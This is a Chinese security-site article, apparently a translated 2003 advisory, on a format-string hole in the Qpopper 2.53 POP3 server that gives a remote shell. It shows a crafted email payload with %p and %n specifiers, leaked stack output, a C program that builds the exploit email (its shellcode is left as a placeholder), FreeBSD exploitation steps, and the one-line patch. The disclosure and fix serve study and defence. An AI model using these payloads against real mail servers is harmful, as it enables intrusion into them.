登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 黑客教学 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

通过Qpopper2.53远程获得shell
发表日期:2003-08-13作者:[] 出处:  

通过Qpopper2.53远程获得shell

by quack

参考:bufferoverflow secrurity advisory #5 by prizm

   

* 简述

  Qpopper是使用相当广泛的POP3服务器,允许用户通过POP3客户端读他们的信件。

  它通常用于标准的UNIX系统里的邮件服务。

  

* 问题

  在Qpopper2.53的版本中,QPOP的漏洞会使你远程获得一个gid=mail的shell。

  问题出在pop_msg()函数,当用户执行euidl命令时会出错,让我们检查一下Qpop

  2.53的代码吧:

  

  --> pop_uidl.c,在代码第150行处:

   ................

      sprintf(buffer, "%d %s", msg_id, mp->uidl_str);

      if (nl = index(buffer, NEWLINE)) *nl = 0;

      sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));

   !   return (pop_msg (p,POP_SUCCESS, buffer));

                   ^^^^^^^^^^^^^

   .................

  在pop_msg.c中函数pop_msg()定义为:pop_msg(POP *p, int stat,

  const char *format,...), 这里有一个用户输入的format:)

    好了,我们想象一下下面的情况吧:

     MAIL FROM:<hakker@evil.org>

     200 Ok

     RCPT TO:<luser@host.withqpop253.com>

     200 Ok

     data

     200 Okey, okey. end with "."

     Subject: still trust qpop?=/

     X-UIDL: AAAAAAAAAAAAAAAA

     From: %p%p%p%p%p%p%p

     test

     .

     200 BLABLABLA Ok, message accepted for delivery.

   然后用户luser连接到他的pop帐号并且运行euidl命令:

    +OK QPOP (version 2.53) at b0f starting. <666.666@b0f>

    USER luser

    +OK Password required for luser.

    PASS secret

    +OK luser has 3 messages (1644 octets).

    euidl 3

    +OK 2 AAAAAAAAAAAAAAAA 530 0xbfbfc9b00x804fd740xbfbfc9b00x2120x8052e5e0xbfbfd1e80x8057028

   Yeah, thats from my box with FreeBSD. As you can see, our %p%p%p%p%p%p%p

   where implemented as arguments for vsnprintf() command.

* 利用

     能够做到吧? 是的, 当然!

   但那有个小小的限制. Qpopper2.53运行于FreeBSD上的会比LINUX更难于利用,因为

     freebsd将pop_msg.c函数中的vsprintf()调用改成了vsnprintf()调用,两者之间有

     着显著的差别——当然也是可以利用的:)

    利用程序

    --------

/* qpop_euidl.c exploit by prizm/Buffer0verflow Security

*

* Sample exploit for buffer overflow in Qpopper 2.53.

* This little proggie generates a mail u need to send.

*

* Standard disclaimer applies.

* By the way, exploit is broken =) You need to insert shellcode.

*

* MAD greets to tf8 for pointing out the bug, and all other b0f members.

* greets to USSRLabs and ADM

* check http://b0f.freebsd.lublin.pl/ for news.

*/

#include <stdio.h>

#include <string.h>

char shellcode[]="imnothing";

int main(int argc, char *argv[])

{

  int i;

  unsigned long ra=0;

  if(argc!=2) {

    fprintf(stderr,"Usage: %s return_addr\n", argv[0]);

    exit(0);

  }

  sscanf(argv[1], "%x", &ra);

  if(!ra)

    return;

  if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {

    fprintf(stderr,"Bad shellcode\n");

    exit(0);

  }

  fprintf(stderr,"return address: 0x%.8x\n", ra);

  printf("X-UIDL: ");

  for(i=0; i < sizeof(shellcode);i++)

    printf("%c", shellcode[i]);

  printf("\r\n");

  printf("From: %s", "%.1000d");

  for(i=0; i < 50; i++)

    printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);

  printf("@test\r\n");

  printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");

  return 0;

}

  在FreeBSD上利用QPOP端口

  ---------------------

  这不太容易,因为函数vsprintf()已经被vsnprintf()替代了,所以我们无法造成溢出,但我们

  仍然能够控制它——记得%n么?它的原理如下:

  这里面有个利用%n的小窍门。看看下面的代码吧,能否理解为什么其输出的结果是2000,

    而不是sizeof(b):

---<cut>---

#include <stdio.h>

int main(void){

    int s=1; char b[1024]; int q;

    snprintf(b, sizeof(b), "%.2000d%n", 1, &q);

    return printf("%d, overflowed? %s\n", q, (s==1?"NO":"YES"));

}

---</cut>---

  在我的FreeBSD 3.4机器上我得到了以下结果:

  2000, overflowed? NO

  嘿,刚开始我希望能看到1024,但你知道——有时程序的运行并不容易控制,看看下面

    或许能有些帮助。

    Exploiting it:

  a) 找出用户的输入在堆栈中的精确位置。

  b) Compose a message with filed X-UIDL and From:

    X-UIDL: ppRETARETARETARETA

    From: <SHELLCODE>%.RETURNd%n@test

  其中:

  "pp"      用来填充的(二至三个字节)

  "RETA"     表示返回的SHELLCODE的地址

  "SHELLCODE"    guess

  "RETURN"    返回地址

  c) 如果你需要freebsd版本的利用程序——自己动手吧:)

* 存在漏洞的版本

  2.53(其它呢?不确定……)

* 补丁

    你可以从http://www.eudora.com/freeware/qpop.html#CURRENT下载到Qpopper 3.1的版

    本,其中这个问题已经解决。

    或者你可以自己动手修改代码:

   在pop_msg.c的150行及62行, 将:

  - return (pop_msg (p,POP_SUCCESS, buffer));

   修改为:

  + return (pop_msg (p,POP_SUCCESS, "%s", buffer));

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 通过Qpopper2.53远程获得shell

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00199